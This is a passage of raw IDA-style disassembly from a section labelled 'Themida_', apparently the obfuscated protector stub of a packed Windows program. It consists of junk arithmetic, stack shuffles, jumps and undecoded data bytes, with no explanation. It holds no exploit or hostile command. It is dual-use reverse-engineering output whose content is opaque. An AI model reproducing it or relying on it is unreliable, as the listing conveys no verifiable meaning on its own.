		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56592F:				; CODE XREF: Themida_:0055C219j
		add	edx, ecx
		pop	ecx
		jmp	loc_552C38
; ---------------------------------------------------------------------------
		db 83h
		dd 72E9FFEDh
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56593F:				; CODE XREF: Themida_:00562172j
		not	ebp
		or	ebp, 6CE40F94h
		sub	ebp, 6D422154h
		jmp	loc_552C4E
; ---------------------------------------------------------------------------


loc_565952:				; CODE XREF: Themida_:0055938Bj
		push	eax
		jmp	loc_55CA78
; ---------------------------------------------------------------------------
		dd 0EBC1E95Ch, 0EC83FFFEh, 243C8904h, 8DE9E789h, 66000018h
		dd 0E924248Bh, 0FFFED2C4h, 4C481h, 5FE90000h, 28FFFF46h
		dd 64E952D0h, 68FFFF08h, 0A80h,	0B8240489h, 4, 2365C181h
		dd 0C10167A9h, 2365E981h, 335867A9h, 38E9240Ch
		db 20h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5659AB:				; CODE XREF: Themida_:00566925j
		push	esi
		mov	esi, 4
		jmp	loc_556A05
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0F7241489h, 0E5E92414h
		db 3, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_5659C7:				; CODE XREF: Themida_:00556933j
		neg	ebx
		shl	ebx, 6
		add	ebx, 79685A8Fh
		jmp	loc_5617B6
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 0BFE95824h
		db 0F4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5659E3:				; CODE XREF: Themida_:005534BDj
		pop	eax
		push	edx
		mov	edx, 9F26A75h
		not	edx
		neg	edx
		push	eax
		jmp	loc_557062
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFF838Eh, 8B2434FFh, 0A5E9242Ch, 81FFFFADh
		dd 4ECh, 24148900h, 0BBB68h, 24248900h,	4BE56h,	74010000h
		dd 0C3E90424h, 0FFFFFFF6h, 45E92434h, 68FFFFB0h, 3612h
		dd 0FEFFD2E9h, 89CD80FFh, 0CDFECDFEh, 6602EC83h, 0E9240C89h
		dd 0BC5h
; ---------------------------------------------------------------------------


loc_565A4C:				; CODE XREF: Themida_:0055D9D0j
		add	esp, 4
		jmp	loc_55B51B
; ---------------------------------------------------------------------------
		db 0ACh
		dd 4EC8352h, 0B4240489h, 0E9E68837h, 0FFFF7391h, 76F18166h
		dd 83E0E96Ah, 0CCFEFFFFh, 0E901F480h, 0FFFED7CDh, 0D131C581h
		dd 0EB019014h, 57242C8Bh, 0C781E789h, 4, 0FFC8D5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565A95:				; CODE XREF: Themida_:0055A5FCj
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	ebx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp]
		push	ecx
		jmp	loc_5643F6
; ---------------------------------------------------------------------------
		db 29h
		dd 5B08245Ch, 83242C8Bh, 34FF04C4h, 0C4835F24h,	69C3E904h
		dd 0DEF7FFFFh, 69C9F681h, 2EE95197h, 5C00000Ch,	0FFF199E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565AF1:				; CODE XREF: Themida_:00561218j
		add	dword ptr [esp], 4
		mov	edi, [esp]
		jmp	loc_5574A0
; ---------------------------------------------------------------------------
		db 29h,	0C3h, 81h
		dd 3D2CE5EBh, 637AE932h, 5157FFFFh, 5E240481h, 8B263A14h
		dd 0C483243Ch, 5EEF8104h, 0E9263A14h, 0FFFF557Ch, 81E18951h
		dd 4C1h, 657BE900h, 0C281FFFFh,	485318B2h, 0EA81C201h
		dd 485318B2h, 0FFB043E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565B45:				; CODE XREF: Themida_:00554E5Fj
		push	5CF7h
		mov	[esp], edi
		push	dword ptr [esp]
		jmp	loc_56031B
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 67h
		dd 81FFFFA2h, 4C7h, 91B95100h, 816BC716h, 45165CE1h, 0F360E974h
		dd 8953FFFEh, 4C381E3h,	81000000h, 4C3h, 241C8700h, 2E5C685Ch
		dd 3C890000h, 68E78924h, 2860h,	0B8240489h, 717C68F8h
		dd 894E9D05h, 0B7912D1Dh, 0C7018F05h, 8124048Bh, 4C4h
		dd 4C78100h, 87000000h,	0E95C243Ch, 0FFFFD7B2h,	61B25266h
		dd 5A66D328h, 534FB151h, 0B45030B7h, 80D4F621h,	1EE9B0ECh
		db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565BDB:				; CODE XREF: Themida_:00567D2Bj
		sub	eax, 0B6DB8B92h
		push	eax
		pop	edi
		push	dword ptr [esp]
		pop	eax
		jmp	loc_563EF1
; ---------------------------------------------------------------------------
		db 51h
		dd 0FFC60FE9h, 92ED81FFh, 294A0C65h, 15A0E9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565BFE:				; CODE XREF: Themida_:0055C013j
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4


loc_565C0B:				; CODE XREF: Themida_:0055D63Aj
		push	34EBh
		mov	[esp], ebp
		push	ebx
		push	edx
		jmp	loc_561EC7
; ---------------------------------------------------------------------------


loc_565C1A:				; CODE XREF: Themida_:0055E81Ej
		add	bl, 45h
		sub	bl, al
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 2D6109BDh
		neg	ebp
		add	ebp, 85597932h
		not	ebp
		inc	ebp
		add	ebp, 745C7BE5h
		jmp	loc_5554EF
; ---------------------------------------------------------------------------
		dd 0FD35E959h, 0E940FFFFh, 0FFFEF614h
; ---------------------------------------------------------------------------


loc_565C50:				; CODE XREF: Themida_:005626B9j
		mov	ecx, edx
		pop	edx
		add	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55C7EB
; ---------------------------------------------------------------------------
aAiAivAVaXai0	db '€ë*€ëv(ÀÃv€Ã*X€ë0',0
		db 0C3h, 0E9h, 0DBh
		db 0E6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565C77:				; CODE XREF: Themida_:00555461j
		add	esp, 4
		push	3632h
		mov	[esp], ebp
		jmp	loc_558D4D
; ---------------------------------------------------------------------------


loc_565C8A:				; CODE XREF: Themida_:0055DF33j
		pop	ecx
		jmp	loc_5652E3
; ---------------------------------------------------------------------------


loc_565C90:				; CODE XREF: Themida_:0055989Bj
		sub	eax, 4D0BFB9Ah
		sub	ebx, eax
		pop	eax
		push	small word ptr [eax]
		jmp	loc_552C38
; ---------------------------------------------------------------------------
		dd 9C240CD3h, 0FECF8FE9h, 240489FFh, 42DE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565CB2:				; CODE XREF: Themida_:0056319Fj
		push	dword ptr [esp+4]
		jmp	loc_5538C3
; ---------------------------------------------------------------------------


loc_565CBB:				; CODE XREF: Themida_:00553BA1j
		mov	[esp], ecx
		jmp	loc_552D1D
; ---------------------------------------------------------------------------


loc_565CC3:				; CODE XREF: Themida_:005626A6j
		pop	ecx
		jmp	loc_55B39F
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 240C8B66h, 0FF2489E9h, 0C8B66FFh, 0D18EE924h, 5052FFFFh
		dd 8904EC83h, 0B3BB241Ch, 0F70ADE4Dh, 0BE5643D3h, 0F521B249h
		dd 895EF331h, 241C8BD8h, 0FED63EE9h, 0E9C221FFh, 0FFFF79CEh
		dd 0AE3BD55h, 0EDE90D09h
		db 0D5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565D13:				; CODE XREF: Themida_:0055B1B4j
		mov	[esp], edi
		push	3309h
		mov	[esp], ebx
		mov	ebx, 39B15A6Fh
		jmp	loc_553ACF
; ---------------------------------------------------------------------------
		dd 4624C581h, 0F58177D0h, 12E5366Fh, 4BD0CD81h,	0B9511A44h
		dd 30F30F9Eh, 4904E1C1h, 0FEEEAFE9h, 0C8B66FFh,	2E06E924h
		dd 0DE89FFFFh, 2E6C15Bh, 0FF5A95E9h, 59E956FFh
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565D63:				; CODE XREF: Themida_:0055E612j
		push	ebx
		mov	ebx, ecx
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		shr	ebp, 5
		not	ebp
		sub	ebp, 3A8152B8h
		sub	ebp, 1FBE2A64h
		xor	ebp, 0A45F47B9h
		add	eax, ebp
		jmp	loc_5576B7
; ---------------------------------------------------------------------------


loc_565D8D:				; CODE XREF: Themida_:0055DC7Ej
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55CD5A
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0E4h
		dd 0E9E88E6Fh, 0FFFF37CCh, 4C481h, 0C4810000h, 4, 4B850h
		dd 76E90000h
		db 13h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565DBB:				; CODE XREF: Themida_:00560D2Cj
		pop	ebp
		add	ebp, 4
		jmp	loc_563220
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 8704C683h, 248B2434h,	24048F24h, 6624248Bh
		dd 6866E1F7h, 1FE928EEh, 81FFFFE4h, 4C2h, 24148700h, 2124248Bh
		dd 2434FFF8h, 0FF2466E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565E01:				; CODE XREF: Themida_:00552D6Dj
		or	ebp, 218B05A2h
		jmp	loc_5618BC
; ---------------------------------------------------------------------------
		dd 4C6835Fh, 5C243487h,	0FF2434FFh, 48B2434h, 4C48124h
		dd 57000000h, 0E950E789h, 0FFFFAA5Bh, 0EC2FC281h, 0E6E98AD5h
		dd 80FFFFC5h, 0DC0081F3h, 81241C8Bh, 4C4h, 8ECC000h, 0FF760CE9h
		dd 3CEC80FFh, 48BE728h,	55B66824h, 2C890000h, 81E58924h
		dd 4C5h, 4C58100h, 33000000h, 2C31242Ch, 242C3324h, 0C8C2805Ch
		dd 0EA80FA00h, 241C8BC8h, 3004C483h, 0A7685AD0h, 8900006Bh
		dd 8CB5240Ch, 0FFA582E9h, 22BA52FFh, 4A207173h,	505CF281h
		dd 0EAC11D7Fh, 97BD5508h, 512A0134h, 0FEFF71E9h, 5AD001FFh
		dd 0BB53E801h, 662A30D4h, 8106E3C1h, 8ED23AEBh,	5BD82923h
		dd 0E389535Dh, 0FF2E44E9h, 4C483FFh, 0FFD830E9h, 0EC8357FFh
		dd 0F485E904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565EE2:				; CODE XREF: Themida_:0055A981j
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	ebp
		push	4
		pop	ebp
		add	edi, ebp
		pop	ebp
		push	5A9Eh
		mov	[esp], ecx
		jmp	loc_55EEC9
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0F4B9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565F12:				; CODE XREF: Themida_:0055FE5Cj
		pop	esp


loc_565F13:				; CODE XREF: Themida_:0055723Ej
		push	2E79h
		mov	[esp], eax
		mov	eax, esp
		push	edx
		mov	edx, 26167994h
		jmp	loc_559F97
; ---------------------------------------------------------------------------
		dd 3EB8505Fh, 1574621h,	2F99E9C6h, 0E94AFFFFh, 0FFFF107Ch
		dd 5344E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565F42:				; CODE XREF: Themida_:00567C19j
		xor	bl, cl
		pop	cx
		push	edx
		mov	dh, 7Ch
		push	ebx
		mov	bl, 0CBh
		shr	bl, 4
		shr	bl, 2
		inc	bl
		or	bl, 0FAh
		sub	bl, 1
		add	bl, 0C2h
		xor	dh, bl
		pop	ebx
		jmp	loc_56356F
; ---------------------------------------------------------------------------
		db 0BDh, 0AEh, 7Ah
		dd 0ED81362Eh, 0FFFFFFFFh, 0ED81D5F7h, 0FFFFFFFFh, 4DFFC583h
		dd 7AB5C581h, 0EE01362Eh, 3FBB535Dh, 53650B76h,	0FF240481h
		dd 5BFFFFFFh, 0FF4795E9h, 0E95CFFh, 5FFFF7Eh, 6D2518Ch
		dd 4E0C148h, 5BE9D0F7h,	58FFFED7h, 0FF5637E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565FB5:				; CODE XREF: Themida_:0055E5A9j
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		shr	ecx, 6
		push	2D2Dh
		mov	[esp], edi
		push	ebx
		push	edx
		mov	edx, 25F24686h
		sub	[esp+4], edx
		pop	edx
		jmp	loc_55B0CE
; ---------------------------------------------------------------------------
		dd 5C24BF57h, 0CF811343h, 114D1350h, 8106EFC1h,	0BC1DDCC7h
		dd 5FF9896Fh, 9F08F181h, 0CD31A3E5h, 0FEE20EE9h, 4C481FFh
		dd 0E9000000h, 922h, 83241489h,	1C8904ECh, 0D516E924h
		dd 53ADFFFEh, 0FFE00AE9h, 81E289FFh, 4C2h, 4C28300h, 31241433h
		dd 14332414h, 0C4815C24h, 4, 0F66C331h,	976800B6h, 89000040h
		dd 76682414h, 89000052h, 4812424h, 424h, 24148B00h, 0FF9089E9h
		dd 240C31FFh, 5C240C33h, 0FF4241E9h, 0BE5655FFh, 4, 29E95156h
		dd 59FFFF38h, 348BF201h, 4C48324h, 1E61EE81h, 0D601334Dh
		dd 0FFEB33E9h, 246C01FFh, 43BB5304h, 0E9092704h, 0FFFFFA2Bh
		dd 491068h, 24348900h, 2BEh, 0E9F00100h, 0FFFF3924h
; ---------------------------------------------------------------------------


loc_5660B0:				; CODE XREF: Themida_:0055D9ABj
		add	esp, 4
		sub	edx, 3E2E4442h
		jmp	loc_558474
; ---------------------------------------------------------------------------


loc_5660BE:				; CODE XREF: Themida_:0055A563j
		pop	ebp
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	ecx
		push	esp
		pop	ecx
		push	esi
		jmp	loc_5542BC
; ---------------------------------------------------------------------------


loc_5660D0:				; CODE XREF: Themida_:00559C82j
		add	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	eax
		push	ebx
		mov	ebx, 4A5F0DE5h
		xor	[esp+4], ebx
		pop	ebx
		jmp	loc_5536A9
; ---------------------------------------------------------------------------
		db 0ADh, 50h, 89h
		dd 405E0h, 42D0000h, 87000000h,	81E92404h, 89000017h, 3B682424h
		dd 8900001Eh, 4B82404h,	81000000h, 5E04246Ch, 0E90C816Bh
		dd 0FFFF9B47h, 83240C8Bh, 815E04C4h, 4C6h, 0E0895000h
		dd 405h, 42D00h, 64E90000h, 2DFFFF65h, 7B9676D9h, 29326853h
		dd 1C8B60B9h, 4C48324h,	6B106851h, 0E9592674h, 0FFFEDC5Bh
		dd 0DAF6CAFEh, 7774E953h, 8951FFFFh, 4C181E1h, 53000000h
		dd 4BBh, 5BD90100h, 5C240C87h, 7E7668h,	24348900h, 7F46B850h
		dd 0E8E9A504h, 0C1FFFFBFh, 0EA8308EAh, 68FFh, 14290000h
		dd 0EA815A24h, 4FB16377h, 407FBB53h, 0E38107DCh, 100F2A4Ah
		dd 778BEB81h, 0EB8154ADh, 6D34665Ch, 0FF52CEE9h, 53FD29FFh
		dd 8F44FEBBh, 11B95130h, 0F75BEB45h, 63E981D9h,	0C16A3D26h
		dd 814902E1h, 0BF18B8F1h, 59CD29DCh, 0E1E9DD29h, 81FFFF82h
		dd 7E7B67E1h, 0B9E1813Ah, 0E9625E2Eh, 0FFFF221Fh
; ---------------------------------------------------------------------------


loc_5661FC:				; CODE XREF: Themida_:00557AAFj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56254E
; ---------------------------------------------------------------------------


loc_566205:				; CODE XREF: Themida_:0055A208j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55A5EF
; ---------------------------------------------------------------------------
		dd 89241C89h, 4C381E3h,	81000000h, 4C3h, 241C3300h, 33241C31h
		dd 505C241Ch, 50ACB866h, 0E9E8D166h, 0FFFECACEh, 7830E94Bh
		dd 48BFFFFh, 4C48124h, 81000000h, 0B3544AEEh, 81CE012Fh
		dd 0B3544AC6h, 0E2EE812Fh, 8B5F2A0Bh, 3CE9240Ch, 56FFFFA2h
		dd 5C518DBEh, 5EF20123h, 81240C8Bh, 4C4h, 2C28300h, 0FF4291E9h
		dd 46852FFh, 5A000000h,	7CEDC781h, 0D7012A34h, 7CEDEF81h
		dd 1DE92A34h, 81FFFF4Ch, 0A61846EDh, 0DCF5810Bh, 1CC7111h
		dd 8CE95DEAh, 0FEFFFFAFh, 53F886CFh, 0E780E9B7h, 50DFF6DBh
		dd 0FFD8DFE9h, 66792CFFh, 0E9241C8Bh, 0FFFF8296h, 0BF57E589h
		dd 54917160h, 8102EFC1h, 245C5CF7h, 4EC8115h, 89000000h
		dd 0BD552404h, 20C329FFh, 0A6E9E889h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56630B:				; CODE XREF: Themida_:005656C3j
		pop	ebp
		add	edx, ebx
		pop	ebx
		jmp	loc_555434
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 3E144F38h, 0FFF35FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566321:				; CODE XREF: Themida_:0056368Cj
		xor	bl, dh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_553F78
; ---------------------------------------------------------------------------


loc_56632E:				; CODE XREF: Themida_:00563582j
		inc	cl
		sub	cl, 1Ch
		add	dh, cl
		pop	ecx
		jmp	loc_56164C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 68502424h, 2E99180Fh, 8124048Bh, 4C4h, 0FFC08300h, 0D0F7D0F7h
		dd 1A05D0F7h, 515C7F46h, 5FE9C189h, 89FFFED1h, 7E92404h
		dd 5AFFFF97h, 42C992Ch,	2B2768h, 240C8900h, 88B9B353h
		dd 0E8005BDDh, 2CD80059h, 4D20E9B9h, 0C2B8FFFFh, 2D253D61h
		dd 2DF246C2h, 4550BB53h, 0D8210611h, 0FFF36AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5663A1:				; CODE XREF: Themida_:0055A557j
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		mov	esp, [esp]


loc_5663B6:				; CODE XREF: Themida_:0055472Bj
					; Themida_:005601F4j
		push	67D8h
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55A618
; ---------------------------------------------------------------------------
		db 66h,	53h, 52h
		dd 0DFB39BB2h, 148BD330h, 98E95124h
		db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5663DB:				; CODE XREF: Themida_:0055FFC5j
		add	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, 0F5F9AFD3h
		xor	ebx, edi
		pop	edi
		mov	edi, ebx
		jmp	loc_5623AE
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 353468h, 241C8900h
		dd 0E9E0B551h, 0FFFFBF21h, 39C168h, 242C8900h, 0C5815D54h
		dd 4, 4C581h, 2C870000h, 0CDC8E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_566432:				; CODE XREF: Themida_:005574B2j
		sub	edi, 6B132BD4h
		add	edi, esi
		add	edi, 6B132BD4h
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_567AD4
; ---------------------------------------------------------------------------
		dd 40AFEE81h, 0C6016365h, 40AFC681h, 0C6816365h, 597512BBh
		dd 20F368h, 24148900h, 0E82B850h, 7B681CB0h, 89000040h
		dd 2C812404h, 124h, 321BE900h, 0C681FFFFh, 4, 8704EE83h
		dd 248B2434h, 24048924h, 0E951D888h, 0FFFF34E8h, 4C681h
		dd 0EE830000h, 24348704h, 76D5E95Ch, 0C14FFFFFh, 37E908E7h
		dd 5EFFFFD9h, 5C24048Fh, 2424D366h, 0C772E99Ch,	8146FFFEh
		dd 2921E1F6h, 0E6C14E2Bh, 5E6C107h, 0E85FC681h,	0F3310B14h
		dd 8324348Bh, 0D82904C4h, 0F669E95Bh, 8B66FFFEh, 0EC812404h
		dd 4, 68240489h, 5FFAh,	24048F54h, 4240483h, 0E6BB5358h
		dd 0E92BC028h, 0FFFF6874h, 0F564C681h, 0F50149E8h, 0D2F5815Eh
		dd 4D3B3560h, 2215ED81h, 0E9514648h, 0FFFFB3D4h, 8324148Bh
		dd 0B15104C4h, 0B6E952E4h
		db 12h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56653B:				; CODE XREF: Themida_:00561388j
		pop	ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	43BDh
		mov	[esp], ebx
		push	284E7D81h
		jmp	loc_55ADB4
; ---------------------------------------------------------------------------
		dd 0E789575Dh, 0F4ADE951h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56657E:				; CODE XREF: Themida_:0055566Dj
		add	esp, 4
		jmp	loc_5603C1
; ---------------------------------------------------------------------------
		dw 0CE25h
		dd 53AEC02h, 47EA7935h,	8158C221h, 55B5D5EAh, 5318E9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56659E:				; CODE XREF: Themida_:00556E54j
		dec	eax
		shl	eax, 8
		sub	eax, 46408939h
		add	ebx, 4B8046D5h
		jmp	loc_55A966
; ---------------------------------------------------------------------------
		dw 0B868h
		dd 89000003h, 32E9241Ch
		db 0, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_5665BF:				; CODE XREF: Themida_:00558CA5j
		add	esi, ebp
		add	esi, 1FF83234h
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		pop	edx
		pop	esi
		jmp	loc_552EE1
; ---------------------------------------------------------------------------
		dd 89241489h, 4EC81E2h,	0E9000000h, 0FFFF8E0Fh,	4EA81h
		dd 14870000h, 34895C24h, 0EB34E924h, 0F201FFFEh, 26ABBD55h
		dd 0E5C1254Eh, 0F5814D04h, 6D580242h, 0FFAC14E9h, 2454F6FFh
		dd 0C8B6601h, 2C48124h,	66000000h, 0E081E950h, 0E952FFFFh
		dd 0FFFFC8ADh, 31243433h, 34332434h, 34FF5C24h,	0EC815A24h
		dd 4, 83243489h, 248904ECh, 24048324h, 24348B04h, 5704C483h
		dd 88E95053h, 81FFFF10h, 4ECh, 24148900h, 74240481h, 0E941EA5Bh
		dd 0FFFFE35Ch, 9C2404FEh, 0FEC5BFE9h, 0E9D7F7FFh, 0FFFF4C1Fh
; ---------------------------------------------------------------------------


loc_566680:				; CODE XREF: Themida_:00564728j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_564C52
; ---------------------------------------------------------------------------
		dd 1C8B505Bh, 4C48124h,	0E9000000h, 0FFFF85CEh
; ---------------------------------------------------------------------------


loc_5666A0:				; CODE XREF: Themida_:0055FCDFj
		add	ebx, 22327E3Bh
		jmp	loc_55692A
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E2C103EAh, 22AAE907h, 0CD80FFFFh, 0F6D5F6F6h, 1ED80D5h
		dd 0E957C580h, 0FFFFB10Dh, 0E92434FFh, 0FFFFB2D0h, 4C481h
		dd 4050000h, 68000000h,	6C2Dh, 55243C89h, 0FF3CC0E9h, 59C800FFh
		dd 0E951F028h, 0FFFF43B7h, 14F65266h, 885A6624h, 805A66D5h
		dd 0EE0023C5h, 0E9F02859h, 0FFFFFCE5h
; ---------------------------------------------------------------------------


loc_56670C:				; CODE XREF: Themida_:0055D766j
		push	ebp
		mov	ebp, 8E37397h
		and	esi, ebp
		jmp	loc_55F8D1
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0A4h
		dd 8165D731h, 0C0940BC6h, 5EF001E7h, 8958C629h,	24348BF0h
		dd 8104C483h, 1808B5EBh, 150DE90Dh, 0FF590000h,	0E9582434h
		dd 0FFFFFF88h, 83241489h, 896602ECh, 6DB02404h,	9CE9C288h
		dd 89FFFF94h, 2BB241Ch,	0E9000000h, 0FFFF5F1Dh,	4EC81h
		dd 1C890000h, 6406BB24h, 0E381687Fh, 66BE3457h,	487534Bh
		dd 87D0F724h, 0E95B2404h, 0FFFF097Dh
; ---------------------------------------------------------------------------


loc_56678C:				; CODE XREF: Themida_:0055E207j
		add	edi, esi
		jmp	loc_55FD78
; ---------------------------------------------------------------------------


loc_566793:				; CODE XREF: Themida_:00563ADBj
		mov	esi, edx
		pop	edx
		jmp	loc_567EC2
; ---------------------------------------------------------------------------


loc_56679B:				; CODE XREF: Themida_:005545D1j
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55BD44
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 814515Bh, 0BB53D9F7h, 5EB47AB2h, 815BD931h, 0F354E0F1h
		dd 0E9CD0922h, 0FFFF658Ch, 0B8240489h, 4C245EE4h, 70978268h
		dd 0C12959B7h, 0FFA147E9h, 81DAF7FFh, 0B700F6F2h, 0E0ABE978h
		dd 0BDB8FFFEh, 311DDE6Fh, 0C2895FF8h, 3617E958h, 0F181FFFFh
		dd 0D7BF1403h, 0FF4CA7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566805:				; CODE XREF: Themida_:005554C5j
		push	52B3h
		mov	[esp], ebx
		push	1
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_567027
; ---------------------------------------------------------------------------


loc_56682B:				; CODE XREF: Themida_:0055BD24j
		pop	edx
		shl	esi, 5
		xor	esi, 3C35BB60h
		jmp	loc_5626B6
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 6B752925h, 28FDC281h, 0EA816D9Dh, 0FBB712Eh,	3AECC281h
		dd 0C2011077h, 3CBFBD55h, 0EDC10CD6h, 55C58103h, 290EDC73h
		dd 2A96E9EAh, 0EB81FFFFh, 11E52267h, 5B15EB81h,	0C3810108h
		dd 20A95517h, 0EB81F301h, 20A95517h, 5B15C381h,	0C3810108h
		dd 11E52267h, 241C875Eh, 7E5C15Ch, 6B9AED81h, 81553728h
		dd 7F9E242Ch, 815F6949h, 497F9EC7h, 3FE95D69h
		db 0F8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5668B3:				; CODE XREF: Themida_:0055DB66j
		pop	eax
		jmp	loc_56138D
; ---------------------------------------------------------------------------


loc_5668B9:				; CODE XREF: Themida_:0055D532j
		mov	bh, 68h
		jmp	loc_564309
; ---------------------------------------------------------------------------
		dd 4BA52h, 0D3010000h, 8324148Bh, 4AE904C4h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5668D3:				; CODE XREF: Themida_:00561D21j
		push	372Eh
		mov	[esp], esi
		jmp	loc_55F805
; ---------------------------------------------------------------------------
		dd 4A1CBF57h, 0D1E93644h
		db 0CAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5668EB:				; CODE XREF: Themida_:00554E54j
		neg	al
		jmp	loc_552E6C
; ---------------------------------------------------------------------------
		dw 6FBEh
		dd 55C4885Dh, 0EB89F589h, 15E95E5Dh, 87FFFEEAh,	0D5E92414h
		dd 89FFFEDCh, 5052241Ch, 0B151A3B4h, 59CC2885h,	0FFAEFCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56691D:				; CODE XREF: Themida_:00553AC4j
		push	53F3h
		mov	[esp], esp
		jmp	loc_5659AB
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFFE112h, 5C240487h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_554871
; ---------------------------------------------------------------------------


loc_566942:				; CODE XREF: Themida_:00564670j
		xor	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		push	esp
		jmp	loc_5537FD
; ---------------------------------------------------------------------------


loc_56694F:				; CODE XREF: Themida_:005604F6j
		mov	edx, [esp]
		add	esp, 4
		shr	edx, 2
		dec	edx
		jmp	loc_5653BE
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FED5B1E9h, 69A1BEFFh, 53E925A1h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566973:				; CODE XREF: Themida_:00557237j
		pop	ecx
		add	ebp, 0FFFFFFFFh
		jmp	loc_5551AE
; ---------------------------------------------------------------------------
		dd 4EC81h, 34890000h, 8DAEE924h, 74FFFFFFh, 33E90424h
		dd 81FFFEDDh, 201BEE2h,	0B8BE95Bh, 2C87FFFFh, 0A98BE924h
		dd 0C483FFFFh, 4B95104h, 1000000h, 0BDE959CBh
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5669B7:				; CODE XREF: Themida_:0055CD01j
		add	ebp, 4
		jmp	loc_557FBF
; ---------------------------------------------------------------------------


loc_5669C2:				; CODE XREF: Themida_:00561298j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
